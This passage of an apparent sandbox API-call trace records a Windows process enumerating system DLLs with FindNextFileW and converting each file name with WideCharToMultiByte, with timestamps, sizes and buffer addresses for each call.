ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.056] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.056] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x1efc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0261.056] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0261.056] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x1efc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0261.056] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x1efc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0261.056] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x1efc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0261.056] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.057] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x1efc288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0261.057] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0261.057] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x1efc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0261.057] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.057] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x1efc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0261.057] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM.DLL", lpUsedDefaultChar=0x0) returned 9 [0261.057] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d4aad4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x93d4aad4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc7a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3dim700.dll", cAlternateFileName="")) returned 1 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM700.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DIM700.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.057] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dc1227, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x86dc1227, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x91000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3dramp.dll", cAlternateFileName="")) returned 1 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DRAMP.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DRAMP.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.058] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f16af92, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8f16af92, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x870affb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="d3dxof.dll", cAlternateFileName="")) returned 1 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DXOF.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3DXOF.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.058] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48fd18cd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x48fd18cd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="dataclen.dll", cAlternateFileName="")) returned 1 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DATACLEN.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.058] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8513b27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="davclnt.dll", cAlternateFileName="")) returned 1 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.058] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5549552, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xa5549552, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8730fe40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="davhlpr.dll", cAlternateFileName="")) returned 1 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.058] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.058] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.058] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.058] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, 